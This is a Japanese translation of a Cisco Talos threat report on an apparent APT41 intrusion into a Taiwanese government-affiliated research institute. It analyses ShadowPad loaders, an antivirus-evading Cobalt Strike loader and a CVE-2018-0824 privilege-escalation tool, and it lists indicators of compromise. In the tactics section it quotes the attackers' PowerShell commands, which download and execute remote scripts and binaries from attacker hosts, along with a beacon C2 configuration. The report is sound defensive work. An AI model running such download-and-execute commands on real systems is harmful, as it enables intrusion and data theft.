- Cisco Talos は、台湾政府の関係研究機関を侵害したマルウェア攻撃を発見しました。ShadowPad マルウェアや Cobalt Strike などのカスタマイズしたツールを送り込み、侵害後のアクティビティを実行するこの攻撃は 2023 年 7 月には始まっていました。
- 攻撃対象のエンドポイントで実行されたアクティビティは、米国政府が中国人で構成されていると主張するハッキンググループ APT41 のアクティビティと非常に似通っています。Talos は、今回の攻撃におけるマルウェア、オープンソースツール、プロジェクトの組み合わせ方や、手順、侵害後のアクティビティが、APT41 によく見られる攻撃手法と一致していると、ある程度の確信を持って判断しています。
- 現在の攻撃で使用されている ShadowPad マルウェアは、Microsoft Office IME バイナリの古くて脆弱なバージョンをエクスプロイトしていました。ペイロードを起動するためのカスタマイズされた第 2 ステージのローダーを読み込むローダーとして機能します。
- また、APT41 が、カスタマイズされたローダーを作成して CVE-2018-0824 のコンセプト実証をメモリに直接挿入し、リモートコード実行の脆弱性を利用してローカル特権昇格を実現していたことも発見しました。
台湾政府の関係研究機関、中国の攻撃者による侵害を受ける
2023 年 8 月、Cisco Talos は、台湾政府の関係研究機関の環境で、ある IP アドレスに接続して PowerShell スクリプトをダウンロードおよび実行する異常な PowerShell コマンドを検出しました。この攻撃の対象となったのは、コンピューティングと関連テクノロジーを専門とする台湾政府の関係研究機関でした。手掛けている研究開発業務の性質ゆえに、独自の機密テクノロジーの入手に力を入れている攻撃者からは、利害のある重要な標的と目されています。
攻撃を展開しているのは、中国の攻撃者か
Cisco Talos では攻撃者について、米国政府が中国人で構成されていると主張するハッキンググループ APT41 の可能性が高いと考えています。その主な根拠は、中国の APT グループのみが使用する戦術、手法、手順(TTP)、インフラストラクチャ、マルウェアファミリが使用されていることです。Talos の分析により、攻撃で使用されたマルウェアローダーが ShadowPad ローダーであることが判明しています。ただし、攻撃者が使用した最終的な ShadowPad ペイロードは入手できていません。
ShadowPad は、一般に PlugX の後継ツールと考えられているモジュール型のリモートアクセス型トロイの木馬(RAT)であり、中国のハッキンググループにのみ販売されていることが確認されています。米国司法省が公に報告したところによると、中国の成都を拠点としていると思われるハッキンググループ APT41 がこのマルウェアを使用しています。APT41 の他にも、Mustang Panda や Tonto Team のような中国のハッキンググループが使用しています。
今回の調査では、過去に報告された攻撃で確認された TTP や IOC がいくつか確認されました。たとえば次のようなものです。
- 同一の第 2 ステージのローダーバイナリを使用:Talos は、最初にサイドローディングされる ShadowPad ローダーの後継として機能する第 2 ステージのローダーを発見しました。このローダーも ShadowPad につながりがあり、過去に ShadowPad と一般に関連付けられていました。また、今回の攻撃で利用されているローディングメカニズム、感染チェーン、ファイル名も、過去の信頼性の高いオープンソースのレポートと合致していました。
- 共通のインフラストラクチャを使用:バイナリにつながりがあることに加え、Symantec 社により報告された C2(103.56.114[.]69)も確認しました。同社が報告した攻撃は 2022 年 4 月に実行されたものであり、Talos が発見した攻撃より 1 年以上も前のものですが、これら 2 件の攻撃で確認された TTP にはいくつかの類似点がありました。同じ ShadowPad Bitdefender ローダーを使用していること、ツールに使用しているファイル名が似ていること、エンドポイント間のファイル移動に Filezilla を使用していること、ログイン情報のダンプに WebPass ツールを使用していることなどです。
- サイドローディングに Bitdefender 実行ファイルを採用:攻撃者は、DLL ベースの ShadowPad ローダーをサイドローディングするために、11 年前から存在する Bitdefender の実行ファイルを利用しています。この手口は、APT41 の手によるものとされる攻撃について取り上げたさまざまな報告で言及されてきたものです(報告:1、2、3、4)。
攻撃者は中国語話者
この攻撃では、Windows Defender による Cobalt Strike 検出を回避するため、GoLang で記述された独自の Cobalt Strike ローダーが使用されていました。GitHub でホストされている CS-Avoid-Killing というアンチウイルス製品対策ローダーをベースとしており、簡体中国語で記述されています。このリポジトリは、複数の中国のハッキングフォーラムやテクニカルチュートリアル記事で宣伝されています。
この Cobalt Strike ローダーも、簡体中国語のファイルおよびディレクトリのパス文字列で構成されています。ここから、ローダーをビルド/コンパイルした攻撃者が簡体中国語に堪能であることがわかります。
Cobalt Strike ローダーの Github リポジトリ
アンチウイルス製品対策をした Cobalt Strike バックドアの作成方法に関するテクニカルチュートリアル記事
戦術、手法、手順(TTP)の分析
2023 年 8 月、Cisco Talos は、攻撃対象となった環境で、ある IP アドレスに接続して PowerShell スクリプトをダウンロードして実行する異常な PowerShell コマンドを検出しました。Talos のテレメトリに基づいて調査を実施したところ、2023 年 7 月中旬に最初期の侵入の痕跡が見つかりました。現時点では証拠が十分でなく、初期攻撃ベクトルを決定的に特定するには至っていません。攻撃者は標的環境の 3 台のホストに侵入し、ネットワークから複数の文書を漏洩させました。
足掛かりの構築
攻撃者は、ネットワークにアクセスすると、マシン上で悪意のあるコードとバイナリを実行して足掛かりを構築します。攻撃者が検出と実行を行えるように、Web サーバーを実行しているマシン上に WebShell がインストールされます。また、ShadowPad や Cobalt Strike などのマルウェアもドロップされていました。そのために攻撃者は、WebShell のインストール、Remote Desktop Protocol(RDP)によるアクセス、リバースシェルという 3 種類のアプローチを使用しています。
WebShell によるドロップ
C:/www/un/imjp14k.dll
C:/www/un/service.exe C:/www/un/imjp14k.dll.dat |
RDP によるドロップ
C:/Users/[hide]/Desktop/log.dll
C:/Users/[hide]/Desktop/imjp14k.dll C:/Users/[hide]/Desktop/service.exe C:/Users/[hide]/Desktop/imjp14k.dll.dat C:/Users/[hide]/Desktop/log.dll.dat |
リバースシェルによるドロップ
C:/Users/Public/calc.exe
C:/Users/Public/service.exe C:/Users/Public/imjp14k.dll C:/Users/Public/imjp14k.dll.dat C:/Users/Public/log.dll C:/Users/Public/log.dll.dat |
ShadowPad コンポーネントのいくつかは、ドロップされたタイミングで Talos のソリューションにより検出され、隔離されていました。攻撃者はその後、検出を回避すべく戦術を変更しました。まず試みたのが、メモリ内でバックドアを実行する追加スクリプト(PowerShell および HTA)をダウンロードするための PowerShell スクリプトを起動するという手口でした。そのために実行された PowerShell コマンドは以下のとおりです
powershell IEX (New-Object System.Net.Webclient).DownloadString(‘http://103.56.114[.]69:8085/p.ps1’);test123″
powershell IEX (New-Object System.Net.Webclient).DownloadString(‘https://www.nss.com[.]tw/p.ps1’);test123″ mshta https://www.nss.com[.]tw/1.hta powershell -nop -w hidden -encodedcommand “JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFM…” |
しかし、この試みも検出されて中断され、さらなるアクションを実行するには至りませんでした。次に攻撃者が試みたのは、別の 2 つの PowerShell コマンドを使用し、侵害された C2 サーバー(www.nss.com[.]tw)から Cobalt Strike マルウェアをダウンロードするという手口でした。この Cobalt Strike マルウェアは、アンチウイルス製品による検出を回避してセキュリティ製品による検疫を逃れるために、アンチウイルス製品対策ローダーを使用して開発されたものでした。次のコマンドは、アンチウイルス製品対策マルウェアをダウンロードして、攻撃対象のホストマシンで実行するために使用されたものです。この Cobalt Strike ローダーに関する詳細な説明は、「マルウェアと悪意のあるツールの分析」を参照してください。
powershell (new-object System.Net.WebClient).DownloadFile(‘https://www.nss.com[.]tw/calc.exe’,’C:/users/public/calc.exe’);”
powershell (new-object System.Net.WebClient).DownloadFile(‘https://www.nss.com[.]tw/calc.exe’,’C:/users/public/calc2.exe’); “ |
侵害の際、攻撃者は、UnmarshalPwn というツールを使って CVE-2018-0824 のエクスプロイトを試みます。UnmarshalPwn については、以降のセクションで詳しく説明します。
攻撃者は検出を回避しようと慎重になっており、RDP を使ったアクティビティを行う際には、システムにログインしている他のユーザーを確認できる「quser」を実行します。そうすることで、システム上に他のユーザーがいる場合はアクティビティを停止できます。また、バックドアを展開したら、初期アクセスに使った WebShell とゲストアカウントを削除することもわかりました。
情報の収集と漏洩
攻撃者が、侵害された環境からパスワードを収集していることが確認されました。Mimikatz を使用して lsass プロセスのアドレス空間からハッシュを収集したうえで、WebBrowserPassView を使用して Web ブラウザに保存されているすべてのログイン情報を取得します。
そうしてログインした環境から「net」、「whoami」、「quser」、「ipconfig」、「netstat」、「dir」コマンドなどの複数のコマンドを実行し、侵害されたシステムのユーザーアカウント、ディレクトリ構造、ネットワーク構成に関する情報を取得します。さらに、レジストリキーへのクエリにより、システム上のソフトウェアインベントリ収集の現在の状態を取得することも確認されました。その際に使用されるコマンドは以下のとおりです。
C:\Windows\system32\reg.exe query hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64 |
ネットワークを検出するコマンドを実行することだけでなく、ShadowPad サンプルが軽量のネットワークスキャンを実行してネットワーク内のホストを収集することも確認しました。マルウェアは、同じ C クラス配下の IP に順次接続し、侵害された同じネットワーク環境内の他のマシンを検出しようとします。接続はすべてポート「53781」に送信されますが、その理由は不明です。
複数の侵害されたマシンから大量のファイルを漏洩させるため、攻撃者は 7zip を使用してファイルを圧縮および暗号化してアーカイブにし、バックドアを使用してコマンドアンドコントロール サーバーに送信していました。
悪意のあるツールキットの分析
今回の攻撃では新しいバックドアやハッキングツールは使われていませんが、興味深いマルウェアローダーがいくつか見つかりました。感染チェーンでは、バックドアとして、ShadowPad と Cobalt Strike という 2 つの主要なマルウェアが使用されています。この 2 つの主要なバックドアは、攻撃者自身が WebShell、リバースシェル、RDP を使ってインストールしていました。また、興味深いハッキングツールも 2 つ見つかりました。1 つはローカル権限の昇格、もう 1 つは Web ブラウザのログイン情報の取得を行うツールです。
ShadowPad ローダー
攻撃について調査する中で、バージョンの異なる 2 種類の ShadowPad を発見しました。どちらのバージョンも、利用しているサイドローディングの手法は同じです。ただ、ShadowPad ローダーを起動するためにエクスプロイトする脆弱な正規バイナリが異なります。
ShadowPad ローダーの最初の亜種は、2020 年に報告されていました。一部のベンダーが「ScatterBee」と呼んでいたものです。今回見つかった ShadowPad の技術的な構造や複数のコンポーネントの名称は、過去の報告と一致しています。
ShadowPad ローダーの最近の亜種が標的としていたのは、13 年以上前の Microsoft Office IME の imecmnt.exe バイナリの古くて脆弱なバージョンです。このローダーは、実行時に、現在のモジュールのオフセット 0xE367 にある特定のバイト列を検証します。チェックサムの検証に成功すると、ローダーは「imjp14k.dll.dat」ペイロードを探し出して復号し、システムのメモリに挿入します。
ローダーの imjp14k チェックサム
Talos はさらに、VirusTotal などのマルウェア クラウド リポジトリを使用し、この最新のローダーのピボット分析を実施しました。2 種類のローダーを特定しましたが、マルウェアを起動するために使用している正規バイナリはどちらも同じものでした。
- G:\Bee\Bee6.2(HD)\Src\Dll_3F_imjp14k\Release\Dll_3F_imjp14k.pdb
- G:\Bee\Tree\Src\Dll_3F_imjp14k\Release\Dll.pdb
もう 1 つの種類のローダーの imjp14k チェックサム
中国のオープンソースプロジェクトの Cobalt Strike「アンチウイルス製品対策ローダー」
今回の攻撃では、Cobalt Strike ローダーも検出されました。このローダーについて詳しく分析した結果、UPX で圧縮されているだけでなく、マルウェアが解凍されないよう、セクション名が変更されていることがわかりました。攻撃者が中国語話者である可能性を示唆する興味深い観察結果が出ています。このローダーはプログラミング言語 Go によって開発されていました。バイナリ内の文字列から、プロジェクト名は「go 版本」(中国語で、go バージョンの意味)であることがわかります。プロジェクト名から、このコードは簡体中国語で書かれた GitHub のソースを複製したものであること、また Cobalt Strike がアンチウイルス製品によって削除されないようにするためのプロジェクトであることがわかりました。
埋め込まれたプロジェクト名
発見したマルウェアと GitHub ページを分析したところ、攻撃者は GitHub の手順に従ってこのローダーを生成し、被害者の環境に Cobalt Strike ビーコンを展開した可能性があることがわかりました。以下のスクリーンショットから、このローダーが暗号化された画像を C2 サーバーから取得すること、またそのコードは GitHub のソースと論理的に同じものであることがわかります。
GitHub のソースコード
今回の攻撃のマルウェア
重要なのは、この Cobalt Strike ビーコンのシェルコードがステガノグラフィ技術により画像の中に隠されており、ローダーによって実行されるということです。つまり、ダウンロード、復号、実行ルーチンは、すべて実行時にメモリ内で行われます。この Cobalt Strike ビーコン構成は以下のとおりです。
{“C2Server”: “http://45.85.76.18:443/yPc1”, “User Agent”: “User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n”} |
プライベート昇格ツール Unmarshal
Unmarshal.exe マルウェアは、ペイロードを 4 つのステージを踏んで復号します。第 1 ステージは、[filename].tbin を検索し、割り当てられたメモリブロックに第 1 ステージの復号ペイロードである inject_loader_1.dll を挿入しようとする実行ファイルです。第 1 ステージの復号ペイロードは、第 2 ステージのペイロードである inject_loader_2.dll を解凍してメモリに挿入します。第 2 ステージのペイロードは、次のステージのペイロードのために *.dlls または ddb.dlls ファイルを検索しようとします。特定のファイルが見つからない場合、最終的なペイロードを復号し、別のメモリブロックに挿入します。詳しく分析した結果、最終的なペイロードは UnmarshalPwn マルウェアであることがわかりました。このマルウェアは CVE-2018-0824 のコンセプト実証であり、リモートコード実行の脆弱性を使用してローカル特権を昇格させます。
関連サンプルとインフラストラクチャ
今回の攻撃で発見されたアーティファクトを使用してピボット分析を行い、同じ攻撃者が別の攻撃で使用した可能性が高いサンプルとインフラストラクチャを複数発見しました。現時点では、一連の攻撃に関する詳細な情報は得られていません。しかし、この情報の公開が、コミュニティがこれらの洞察を活用してさらなる調査を進め、点と点とをつなぎ合わせて全容を解明するうえで役立つことを期待しています。
ShadowPad ローダーの RICH PE ヘッダー(978ece20137baea2bcb364b160eb9678)をピボット分析することで、他の 2 つの ShadowPad ローダーを発見しました。同じ RICH PE ヘッダーを共有していることから、これらのバイナリが同様のコンパイル環境を共有していることがわかります。
- 2e46fcadacfe9e2a63cfc18d95d5870de8b3414462bf14ba9e7c517678f235c9
- eba3138d0f3d2385b55b08d8886b1018834d194440691d33d612402ba8a11d28
ローダーの 1 つは、以下の 2 つの C2 サーバーからダウンロードされていることが確認されました。
- 103.96.131[.]84
- 58.64.204[.]145
この C2 サーバーでは、ShadowPad ローダーだけでなく、同じ Bitdefender ローダー(386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd)とペイロードファイルも見つかっています。この ShadowPad ペイロードは、興味深い C2 ドメイン w2.chatgptsfit[.]com に接続して通信を行います。
カバレッジ
Cisco Secure Endpoint(旧 AMP for Endpoints)は、この記事で説明したマルウェアの実行を阻止するのに最適です。Cisco Secure Endpoint の無料トライアルはこちらからお申し込みください。
Cisco Secure Web Appliance の Web スキャンは、悪意のある Web サイトへのアクセスを防止し、上述したような攻撃で使用されるマルウェアを検出します。
Cisco Secure Email(旧 E メールセキュリティ)は、攻撃の一環として攻撃者が送りつける不正な電子メールをブロックします。Cisco Secure Email の無料トライアルはこちらからお申し込みください。
Threat Defense Virtual、適応型セキュリティアプライアンス、Meraki MX など、Cisco Secure Firewall(旧次世代ファイアウォールおよび Firepower NGFW)アプライアンスは、この脅威に関連する悪意のあるアクティビティを検出できます。
Cisco Secure Malware Analytics(Threat Grid)は、悪意のあるバイナリを特定し、シスコのすべてのセキュリティ製品に保護機能を組み込みます。
Umbrella(シスコのセキュア インターネット ゲートウェイ(SIG))は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。Umbrella の無料トライアルはこちらからお申し込みください。
Cisco Secure Web Appliance(旧 Web セキュリティアプライアンス)は、危険性のあるサイトを自動的にブロックし、ユーザーがアクセスする前に疑わしいサイトを検査します。
特定の環境および脅威データに対する追加の保護機能は、Firewall Management Center から入手できます。
Cisco Duo は、ユーザーに多要素認証を提供し、承認されたユーザーのみがネットワークにアクセスできるようにします。
オープンソースの Snort サブスクライバルールセットをお使いであれば、Snort.org で購入可能な最新のルールパックをダウンロードすることで、最新状態を維持できます。
ClamAV 検出もこの脅威に有効です。
Win.Packed.UnmarshalPwn-10019484-0
Win.Packed.CobaltStrike-10019485-0
Win.Loader.UnmarshalPwn-10019486-0
Win.Loader.Shadowpad-10019487-0
IOC
この調査の IOC は、こちらの GitHub リポジトリでも提供しています。
本稿は 2024 年 08 月 01 日にTalos Group のブログに投稿された「APT41 likely compromised Taiwanese government-affiliated research institute with ShadowPad and Cobalt Strike」の抄訳です。